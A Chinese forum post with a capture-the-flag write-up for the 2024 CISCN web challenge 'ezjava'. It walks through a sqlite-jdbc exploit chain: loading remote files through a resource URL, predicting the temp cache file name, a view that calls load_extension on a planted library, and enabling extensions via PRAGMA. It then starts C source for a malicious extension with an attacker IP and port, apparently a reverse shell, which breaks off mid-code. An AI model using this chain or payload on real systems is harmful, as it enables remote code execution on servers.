2024 CISCN WEB 部分wp

立山  金牌会员 | 2024-5-23 11:36:03 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 913|帖子 913|积分 2739

前言

第二天的revenge真是绷不住,出的很好,下次多出点revenge。
ezjava

简要介绍

sqlite jdbc...真的没想到,写文件覆盖写了半天,效果是个CVE...,给的很多东西都是幌子
原理是通过控制jdbc语句和sql语句的执行来达到加载恶意so/dll达成rce的目标,这两个条件就很苛刻了,所以算是个比力鸡肋的漏洞,刚好题目环境能够控制jdbc语句和sql执行


url是jdbc语句,tableName直接拼接进sql中执行,题目逻辑很简单,我们回到sqlite的CVE,通过执行jdbc:sqlite::resource:http://ip:port/poc.db ,会在/tmp目录下生成一个缓存文件,名称格式是sqlite-jdbc-tmp-?????? ,这个名称是可以盘算出来的,盘算方法:new URL(url).hashCode()+'.db'  ,读取传入的url的hashCode,再拼接.db 就是名称了,所以我们可以创建一个恶意sqlite db文件,执行sql语句:CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db')); ,这里写入了load_extension来加载恶意的so,/tmp/sqlite-jdbc-tmp--1886741859.db 是我们传入的恶意so的url在tmp目录下生成的缓存文件,所以我们得提前盘算好这个名称
攻击流程

第一步打入恶意so文件的缓存文件

第二步创建恶意sqlite db文件,可以利用navicat创建sqlite db文件,然后执行上面给出的sql语句
第三步打入恶意sqlite db文件的缓存文件

第四步开启load_extension,并加载我们的恶意sqlite db文件生成的缓存文件

上面忘了说了,sqlite jdbc的特性,传入的参数会被PRAGMA执行,比如我们这里传入的是enable_load_extension=true,那么就会执行PRAGMA enable_load_extension=true ,也就开启了load_extension功能。
给个恶意so文件生成c代码:
[code]/* Add your header comment here */#include  /* Do not use ! */#include #include #include #include #include #include #include #include SQLITE_EXTENSION_INIT1/* Insert your extension code here */int tcp_port = port;char *ip = "ip";#ifdef _WIN32__declspec(dllexport)#endifint sqlite3_extension_init(  sqlite3 *db,   char **pzErrMsg,   const sqlite3_api_routines *pApi){  int rc = SQLITE_OK;  SQLITE_EXTENSION_INIT2(pApi);  int fd;  if ( fork()

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

立山

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表